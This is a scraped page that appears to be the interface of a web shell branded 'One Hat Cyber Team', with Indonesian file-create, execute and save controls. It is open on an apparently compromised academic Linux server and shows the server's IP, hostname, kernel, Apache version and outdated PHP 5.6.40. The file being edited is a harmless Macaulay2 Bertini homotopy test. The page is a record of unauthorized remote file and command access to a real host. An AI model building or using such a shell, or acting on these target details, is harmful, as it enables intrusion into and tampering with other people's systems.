One Hat Cyber Team
Your IP :
216.73.216.216
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
Macaulay2
/
Bertini
/
TST
/
Edit File:
bertiniTHwStrings.tst.m2
needsPackage "Bertini" ---The variables of your ring consist of parameters, then unknowns. R=QQ[t0,x,y] --We have a system of two equations. aUserHomotopy={"(t0)^2*(x^2-1)+(1-t0)^2*(x^2-9)","y-1"} Z--the start points for the homotopy are for t=1 and below: startPoints={point({{1,1}}), point({{-1,1}})} --the input for bertiniTrackHomotopy is ---1) start system ---2) parameter ---3) start points --the output for bertiniTrackHomotopy is a list of points. targetPoints=bertiniTrackHomotopy(t0, aUserHomotopy,startPoints,allowStrings=>{x,y}) assert(areEqual(targetPoints, {point {{3, 1}}, point {{-3, 1}}}))
Simpan